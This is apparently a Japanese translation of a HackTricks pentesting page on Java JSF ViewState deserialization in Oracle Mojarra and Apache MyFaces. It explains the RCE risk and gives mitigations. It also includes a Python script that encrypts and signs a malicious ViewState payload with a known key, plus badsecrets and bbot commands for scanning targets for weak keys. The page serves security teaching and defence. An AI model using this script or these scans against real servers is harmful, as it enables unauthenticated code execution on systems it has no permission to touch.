hacktricks/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md
2023-07-07 23:42:27 +00:00

24 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

イントロ

RCEs through misconfigured JSON librariesを見た後、私たちはJSF実装のViewStatesを分析し始めました。JavaServer Faces (JSF)は、再利用可能なコンポーネントを使用してWeb UIを構築するためのユーザーインターフェースUI技術です。JSFは主にエンタープライズアプリケーションに使用され、JSF実装は通常、JBoss EAPやWebLogic ServerなどのJavaアプリケーションサーバー上で実行されるWebアプリケーションによって使用されます。JSF仕様の2つのよく知られた実装があります

  • Oracle MojarraJSFリファレンス実装
  • Apache MyFaces

スコープ

このブログ記事では、2つのJSF 2.x実装、Oracle Mojarraリファレンス実装とApache MyFacesに焦点を当てています。古い実装JSF 1.xも、この記事で説明されている脆弱性の影響を受ける可能性があります。JSF 2.0.xは2009年に最初にリリースされ、現在のバージョンは2.3.xです

ViewStateの状態

JSFと同様のWeb技術との違いの1つは、JSFがViewStatesセッションに加えてを使用してビューの現在の状態現在表示されているビューのどの部分を表示するかを保存することです。ViewStateはサーバーまたはクライアントに保存できます。JSFのViewStatesは通常、HTMLフォームにjavax.faces.ViewStateという名前の非表示フィールドとして自動的に埋め込まれます。フォームが送信されると、それらはサーバーに送信されます。

サーバーサイドのViewState

JSF ViewStateがサーバーに配置されるように構成されている場合、非表示のjavax.faces.ViewStateフィールドには、サーバーが正しい状態を取得するのに役立つIDが含まれています。MyFacesの場合、そのIDはシリアライズされたJavaオブジェクトです!

クライアントサイドのViewState

JSF ViewStateがクライアントに配置されるように構成されている場合、非表示のjavax.faces.ViewStateフィールドには、少なくともBase64でエンコードされたシリアライズされたJavaオブジェクトが含まれています。おそらくすでに気づいたかもしれませんが、これは潜在的な災害への道ですそれが現在のJSF ViewStatesが送信される前に暗号化および署名される理由の1つかもしれません。シリアライズされたJavaオブジェクトの危険性

2015年のAppSec Californiaカンファレンスで、Gabriel LawrenceChris Frohoffは、「Marshalling Picklesオブジェクトのデシリアライズがあなたの日常を台無しにする方法」というタイトルのプレゼンテーションを行いましたhttps://frohoff.github.io/appseccali-marshalling-pickles/。このプレゼンテーションは、Javaオブジェクトのシリアル化に関する忘れられた問題に光を当ていくつかの深刻なリモートコード実行RCEの脆弱性の発見につながりました。

残念ながら、これにより、Apache Commons Collectionsの特定のバージョンを削除/更新することで脆弱性を緩和できると信じる人もいました。これは確かに助けになるかもしれませんが、問題の根本的な原因である信頼できないデータのデシリアライズ(CWE 502)を解決するものではありません。言い換えれば、「脆弱な」Apache Commons Collectionsバージョンの使用は、アプリケーションが脆弱であることを意味するわけではなく、そのようなライブラリバージョンの欠如は、アプリケーションが脆弱でないことを意味するわけではありません。

しかし、悪意のあるハッカーが「Mad Gadget」/「Apache Commons Collections Deserialization Vulnerability」を介してサンフランシスコ市交通局のシステムをシャットダウンして暗号化した後、GoogleはOperation Rosehubを開始しました。Operation Rosehubの目的は、依存関係として問題のあるcommons collectionsバージョンを使用しているであろうJavaオープンソースプロジェクトをできるだけ多く見つけ、プロジェクトの所有者にプルリクエストを提出して、それらのプロジェクトが新しいリリースで問題のあるcommons collectionsバージョンの使用をやめるようにすることでした。

ViewStateへの攻撃

JSFベースのログインページを持つWebアプリケーションがあると仮定しましょう

JSFベースのログイン

そのログインページには、暗号化も署名もされていないViewStateがあります。そのため、HTMLソースを見ると、ViewStateを含む隠しフィールドが表示されますUnencrypted MyFaces ViewState:

<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />

上記のViewStateをBase64でデコードすると、シリアライズされたJavaオブジェクトが含まれていることがわかります。このViewStateは、フォームが送信されるとたとえば、ログインをクリックするとPOST経由でサーバーに送信されます。ViewStateがサーバーにPOSTされる前に、攻撃者は既にサーバーのクラスパス上にあるガジェットcommons-collections-3.2.1.jarのInvokerTransformerまたはまだ公に知られていないガジェットを使用して、ViewStateを自分自身の悪意のあるViewStateで置き換えます。悪意のあるガジェットがViewStateに配置されると、攻撃者はサーバーで実行するコマンドを指定できます。攻撃者が選んだコマンドは、サーバー上のUIで電卓を起動することです。

攻撃者が修正したフォームをサーバーに送信した後、JSFの実装は提供されたViewStateをデシリアライズしようとします。ViewStateのデシリアライズが終了する前に、コマンドが実行され、サーバー上で電卓が起動します。

JSF ViewStateを使用して起動した電卓

すべては、JSFの実装がViewStateを確認してそれが無効であると判断する前に起こりました。ViewStateが無効であると判明した場合、通常は「ビューの有効期限が切れました」といったエラーがクライアントに送信されます。しかし、その時点では既に手遅れです。攻撃者はサーバーにアクセスし、コマンドを実行していますほとんどの現実の攻撃者は電卓を起動するのではなく、通常はリモートシェルを展開し、それを使用してサーバーにアクセスします

=> この例は、非常に危険な未認証のリモートコード実行RCEの脆弱性を示しています。

上記のJSFに対するほぼ同じ攻撃シナリオは、2015年のプレゼンテーション65〜67ページで既に概説され、デモンストレーションされていましたMarshalling PicklesFrohoffとLawrenceによる

成功した攻撃の前提条件

それでは、災害のための要素は何でしょうか?

  • 暗号化されていないViewStateまたは、暗号化キーの所持
  • サーバーのクラスパス上にガジェットが存在する
  • Mojarraの場合ViewStateが「クライアント」に配置されるように構成されている
  • MyFacesの場合ViewStateが「クライアント」または「サーバー」に配置されるように構成されている

これらのポイントを、2つのJSF実装と関連して見てみましょう。

Oracle MojarraJSFリファレンス実装

前述のように、Oracle MojarraはJSFリファレンス実装RIですが、その名前で知られていないかもしれません。Sun JSF RIとして知られることもあり、javaパッケージ名com.sun.facesで認識されるか、あいまいなjar名jsf-impl.jarで認識されるかもしれません。

Mojarra暗号化されていないViewState

ここが重要なポイントですMojarraは、2.0.xおよび2.1.xのほとんどのバージョンでデフォルトでクライアントサイドのViewStateを暗号化および署名していませんでした。サーバーサイドのViewStateが両方のJSF実装のデフォルトですが、開発者はjavax.faces.STATE_SAVING_METHODパラメータをclientに設定することで簡単に構成を切り替えてクライアントサイドのViewStateを使用することができます。このパラメータ名は、それをclientに変更すると重大なリモートコード実行の脆弱性クラスタ化されたWebアプリケーションでクライアントサイドのViewStateが使用される場合などが導入されることを示していません。

クライアントサイドのViewStateの暗号化は、Mojarra 2.2以降のバージョンではデフォルトで使用されていますが、2.0.xおよび2.1.xのブランチではデフォルトではありませんでした。ただし、2016年5月にMojarraの開発者は、暗号化されていないViewStateがRCEの脆弱性につながることに気付いたため、デフォルトのクライアントサイドのViewStateの暗号化を2.0.xおよび2.1.xにバックポートし始めました。

したがって、少なくとも2.1.xブランチの2.1.29-082016年7月リリースおよび2.0.xの2.0.11-04同様に2016年7月リリースのバージョンでは、デフォルトで暗号化が有効になっています。

Mojarraライブラリを分析したところ、Red Hatも2.1.xおよび2.0.xブランチ向けのMojarraバージョンをリリースしていることがわかりました。最新のバージョンは2.1.29-jbossorg-1および2.0.4-b09-jbossorg-4です。これらのリリースもデフォルトのViewStateの暗号化が無効であったため、私たちはRed Hatに連絡し、彼らは迅速にバグトラッカーでバグ1479661 - JSF client side view state saving deserializes dataを作成しました。2.1.xブランチに対する以下の緩和策を提案しました。

脆弱なWebアプリケーションでは、javax.faces.STATE_SAVING_METHODを「client」に設定してクライアントサイドのビューステート保存を有効にする必要があります。Enterprise Application PlatformEAP6.4.xのデフォルト値は「server」です。

javax.faces.STATE_SAVING_METHODが「client」に設定されている場合、この問題の緩和策は、アプリケーションのweb.xmlでcom.sun.faces.ClientStateSavingPasswordを設定してビューを暗号化することです

  <context-param>
    <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
    <param-value>client</param-value>
  </context-param>

  <env­-entry>
    <env­-entry-­name>com.sun.faces.ClientStateSavingPassword</env­-entry-­name>
    <env-­entry-­type>java.lang.String</env-­entry-­type>
    <env-­entry-­value>[some secret password]</env-­entry-­value>
  </env­-entry>

残念ながら、一部のさらに古いバージョンでは、その緩和策は機能しません。この素晴らしいStackOverflowの回答によ

Mojarra: クライアントに保存されるViewStateの設定

Mojarraのデフォルトのjavax.faces.STATE_SAVING_METHOD設定はserverです。開発者は手動でこれをclientに変更する必要があります。これにより、Mojarraは上記で説明した攻撃シナリオに対して脆弱になります。シリアライズされたViewStateがサーバーに送信されるが、Mojarraがserver側のViewState保存を使用している場合、それをデシリアライズしようとはしませんただし、StringIndexOutOfBoundsExceptionが発生する可能性があります)。

Mojarra: 緩和策

Mojarraをサーバー側のViewStateを使用している場合は、何もする必要はありません。

Mojarra < 2.2を使用してクライアント側のViewStateを使用している場合、以下の緩和策があります。

  • Mojarraを2.0.11-04または2.1.29-08にアップデートします。
  • クライアント側のViewStateの代わりにサーバー側のViewStateを使用します。
  • より古いバージョンのMojarraを使用しており、アップデートやサーバー側のViewStateへの切り替えが不可能な場合は、一時的な解決策としてViewStateパスワードを設定し、それが正しいパラメータであることを確認します必ずしも対応するドキュメント内のパラメータである必要はありません

後のMojarraバージョンの場合

  • ViewStateの暗号化がパラメータcom.sun.faces.disableClientStateEncryptionを介して無効になっていないことを確認します。

Apache MyFaces

Apache MyFacesはもう1つの大きな、広く使用されているJSFの実装です。

MyFaces: 暗号化されていないViewState

MyFacesはデフォルトでViewStateを暗号化します。これは彼らのセキュリティ設定のWikiページで述べられています。

暗号化はデフォルトで有効になっています。暗号化は本番環境で使用する必要があり、テスト/開発環境では無効にすることができます。

ただし、パラメータorg.apache.myfaces.USE_ENCRYPTIONfalseに設定することで、ViewStateの暗号化を無効にすることも可能ですまたは、暗号化を使用しながら推測しやすいパスワードを手動で設定することも可能です。デフォルトでは、MyFacesはサーバーの再起動ごとにViewStateの暗号化キーを変更します。

デフォルトでは、MyFacesは暗号化アルゴリズムとしてDES、ViewStateの認証にはHMAC-SHA1を使用します。AESHMAC-SHA256などのより新しいアルゴリズムを設定することが可能であり、推奨されています。

MyFaces: クライアントに保存されるViewStateの設定

MyFacesのデフォルトのjavax.faces.STATE_SAVING_METHOD設定はserverです。しかし、MyFacesはViewStateの設定に関係なく常にデシリアライズを行います。そのため、MyFacesを使用する際には暗号化を無効にしないことが非常に重要です

私たちはMyFacesのバグトラッカーに問題を作成しましたMYFACES-4133 サーバーの状態保存方法がserverの場合にViewState-IDをデシリアライズしないようにする、おそらく今回はより安全なデフォルトの要望が受け入れられるでしょう。)

MyFaces: 緩和策

MyFacesを使用する場合は、ViewStateの暗号化が無効になっていないことを確認してくださいorg.apache.myfaces.USE_ENCRYPTIONを介して。ViewStateがクライアントまたはサーバーに保存されているかに関係なく、これが重要です。

カスタム暗号化

何らかの方法で使用されているパスワードを盗むことができれば、次のスクリプトを使用してウェブサーバーに対してペイロードを暗号化および署名攻撃することができます:

#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *

YELLOW = "\033[93m"
GREEN = "\033[32m"

def encrypt(payload,key):
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
enc_payload = cipher.encrypt(payload)
return enc_payload

def hmac_sig(enc_payload,key):
hmac_sig = hmac.new(key, enc_payload, sha1)
hmac_sig = hmac_sig.digest()
return hmac_sig

key = b'JsF9876-'

if len(sys.argv) != 3 :
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
with open(sys.argv[1], "rb") as f:
payload = f.read()
f.close()
print(YELLOW + "[+] Encrypting payload")
print(YELLOW + "  [!] Key : JsF9876-\n")
enc_payload = encrypt(payload,key)
print(YELLOW + "[+] Creating HMAC signature")
hmac_sig = hmac_sig(enc_payload,key)
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
payload = b64encode(enc_payload + hmac_sig)
payload = parse.quote_plus(payload)
print(YELLOW + "[*] Final payload : {}\n".format(payload))
with open(sys.argv[2], "w") as f:
f.write(payload)
f.close()
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))

Badsecretsを使った既知のキーの検出

Badsecretsは、既知の暗号鍵の使用を検出することができるライブラリであり、生成される製品を調べ、既知のまたは弱い鍵のリストと照合します。そのJsf_viewstateモジュールは、MojarraとMyFacesの両方で既知のキーを使用して作成されたJava Server Faces ViewStates、および保護されていないまたは圧縮されたViewStatesを検出することができます。

最も簡単な方法は、cli.pyの例ツールを以下のように使用することです:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=

一致するものが見つかった場合、それに加えて利用されているプラットフォームMojarraまたはMyFaces、暗号化アルゴリズム、および圧縮の有無もリストアップされます。これらはすべて攻撃に必要な情報です。

大規模な検索を行うために、サブドメインの列挙と組み合わせて、badsecrets BBOTモジュールを使用することができます。

bbot -f subdomain-enum -m badsecrets -t evil.corp

最終的な考察

このブログ記事で紹介されたJSF ViewStatesとそれらの危険性に関するほとんどの事実は新しいものではありませんが、これほど簡潔な形でまとめられたことはなかったようです。それは、見かけ上は無害な設定変更でも深刻な脆弱性につながる可能性があることを示しています。

=> 問題の一つは、セキュリティ研究者と実際に使用および設定する可能性のある危険なライブラリを使用する開発者の間での知識の移転が十分に行われていないようです。

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥